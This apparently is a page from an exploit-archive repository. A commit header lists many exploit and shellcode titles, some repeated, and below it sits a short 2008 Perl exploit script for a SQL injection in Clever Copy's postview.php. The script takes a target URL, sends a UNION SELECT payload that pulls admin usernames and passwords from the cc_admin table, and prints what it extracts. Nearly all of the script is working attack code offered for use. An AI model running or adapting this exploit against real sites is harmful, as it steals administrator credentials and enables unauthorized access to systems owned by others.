880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
38 lines
No EOL
1.5 KiB
Perl
Executable file
38 lines
No EOL
1.5 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
# Clever Copy 'postview.php' SQL Injection Vulnerable Exploit Coded
|
|
# By U238 | Web - Designer Solutions Developer
|
|
# Thank you joss
|
|
# My Friends : ka0x - Marco Almeida - The_BekiR - fahn - Teyfik Cevik - Nettoxic - Caborz
|
|
# http://noexec.blogspot.com
|
|
|
|
|
|
print "\n\n0x0x0x0x0x0x0x0xx0x0x0x0x0x0x0x0x0x0x0x00x0x0x0x0x0x0x0xx0x\n\n";
|
|
print "\n\n# Clever Copy 'postview.php' SQL Injection Vulnerability #\n\n";
|
|
print "\n\n# This Bug Discovered By U28 in Exploit Completed #\n\n";
|
|
print "\n\n0x0x0x0x0x0x0x0xx0x0x0x0x0x0x0x0x0x0x0x00x0x0x0x0x0x0x0xx0x\n\n";
|
|
|
|
use strict;
|
|
use LWP::UserAgent;
|
|
|
|
my $victim = $ARGV[0];
|
|
|
|
if(!$ARGV[0]) {
|
|
print "\n[x] Exploit Options\n";
|
|
print "[x] U238 : setuid.noexec0x1[-]hotmail[+]com\n";
|
|
print "[x] usage: perl examp.pl (domain)\n";
|
|
print "[x] examp: http://target/path/\n\n";
|
|
print "[x] Referance:https://www.securityfocus.com/bid/28437/info\n\n";
|
|
exit(1);
|
|
}
|
|
sleep(3);
|
|
sleep(1);
|
|
print "\n[+] Baglanildi $victim...\n";
|
|
my $cnx = LWP::UserAgent->new() or die;
|
|
my $go=$cnx->get($victim."/postview.php?ID='+union+select+username,concat(0x706173737764,char(58),password,0x2D2D2D,0x757365726E616D653ADA,username),1,5,username,username,6,username,username,9,username+from+cc_admin/*");
|
|
if ($go->content =~ m/____(.*?)____/ms) {
|
|
print "$1\n";
|
|
} else {
|
|
print "\n[-] exploit calismadi\n";
|
|
}
|
|
|
|
# milw0rm.com [2008-04-26] |